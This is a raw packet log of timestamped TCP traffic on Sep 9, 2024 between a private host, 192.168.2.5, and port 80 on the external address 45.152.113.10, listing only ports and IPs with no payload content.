Sep 9, 2024 18:45:07.000758886 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.000775099 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.000808001 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.000813961 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.000823975 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.000840902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.000844002 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.000861883 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.000879049 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.000904083 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.000926971 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.000940084 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.000945091 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.000962973 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.000963926 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.000974894 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.000979900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.001018047 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.001023054 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.001039028 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.001060963 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.001075983 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.001085043 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.001092911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.001108885 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.001115084 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.001132965 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.001148939 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.001637936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.001661062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.001676083 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.001684904 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.001698017 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.001717091 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.001763105 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.001777887 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.001794100 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.001801968 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.001810074 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.001820087 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.001831055 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.001835108 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.001848936 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.001914024 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.001945019 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.001954079 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.001961946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.001982927 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.002005100 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.002007961 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.002023935 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.002037048 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.002046108 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.002057076 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.002073050 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.002105951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.002120972 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.002141953 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.002161026 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.002912998 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.002927065 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.002940893 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.002968073 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.002990007 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.003000975 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.003015995 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.003031015 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.003047943 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.003056049 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.003081083 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.003093958 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.003169060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.003185034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.003199100 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.003209114 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.003216982 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.003220081 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.003235102 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.003238916 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.003251076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.003257036 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.003268003 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.003268003 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.003283024 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.003290892 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.003307104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.003312111 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.003320932 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.003324032 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.003344059 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.003360987 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.003422022 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.003437042 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.003451109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.003462076 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.003468037 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.003473997 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.003484011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.003484964 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.003513098 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.003523111 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.003561974 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.003576994 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.003591061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.003604889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.003617048 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.003621101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.003637075 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.003639936 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.003653049 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.003662109 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.003670931 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.003671885 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.003688097 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.003691912 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.003704071 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.003707886 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.003719091 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.003720999 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.003741026 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.003741980 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.003752947 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.003777027 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.003927946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.003942966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.003958941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.003962040 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.003974915 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.003977060 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.003990889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.003992081 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.004007101 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.004007101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.004021883 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.004024029 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.004040003 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.004046917 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.004055023 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.004057884 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.004070044 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.004076958 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.004086971 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.004090071 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.004101038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.004110098 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.004117012 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.004122019 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.004133940 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.004133940 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.004148006 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.004151106 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.004167080 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.004168034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.004188061 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.004200935 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.004204988 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.004219055 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.004234076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.004241943 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.004249096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.004254103 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.004271984 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.004281998 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.004338980 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.004355907 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.004369974 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.004375935 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.004385948 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.004401922 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.004407883 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.004407883 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.004415989 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.004417896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.004437923 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.004456043 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.004460096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.004473925 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.004487991 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.004499912 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.004503965 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.004513025 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.004523039 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.004529953 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.004537106 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.004540920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.004556894 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.004563093 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.004573107 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.004581928 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.004590034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.004594088 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.004607916 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.004612923 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.004625082 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.004626036 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.004647017 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.004657984 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.004904985 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.004920006 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.004934072 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.004951000 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.004956961 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.004966974 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.004981041 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.004981995 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.004997969 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.005004883 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.005013943 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.005026102 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.005031109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.005047083 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.005047083 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.005055904 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.005064011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.005074024 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.005080938 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.005084991 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.005103111 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.005120039 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.092468023 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.092521906 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.092602015 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.092617035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.092645884 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.092655897 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.092714071 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.092730045 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.092756033 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.092771053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.092772961 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.092786074 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.092793941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.092803001 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.092809916 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.092811108 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.092850924 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.092869997 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.092885971 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.092930079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.092945099 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.092952013 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.092972994 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.092987061 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.093602896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.093617916 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.093632936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.093651056 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.093661070 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.093673944 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.093681097 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.093699932 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.093714952 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.093715906 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.093732119 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.093739033 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.093750000 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.093751907 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.093765020 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.093770981 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.093789101 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.093799114 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.093813896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.093828917 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.093843937 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.093859911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.093868971 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.093877077 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.093884945 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.093893051 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.093897104 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.093919039 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.093934059 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.094276905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.094321966 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.094345093 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.094361067 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.094414949 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.094516993 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.094532013 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.094558954 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.094568014 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.094583035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.094595909 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.094599962 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.094614983 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.094620943 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.094634056 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.094639063 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.094652891 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.094675064 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.094686031 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.094701052 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.094715118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.094728947 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.094729900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.094741106 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.094757080 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.094774008 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.095036983 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.095062017 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.095077991 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.095082998 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.095117092 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.095130920 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.095216990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.095232964 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.095248938 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.095263004 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.095278978 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.095278978 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.095293999 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.095307112 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.095325947 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.095345020 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.095360994 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.095375061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.095397949 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.095397949 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.095419884 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.095432997 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.095484018 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.095500946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.095516920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.095541954 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.095551968 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.095552921 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.095570087 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.095583916 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.095598936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.095609903 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.095614910 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.095626116 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.095633984 CEST	80	49707	45.152.113.10	192.168.2.5
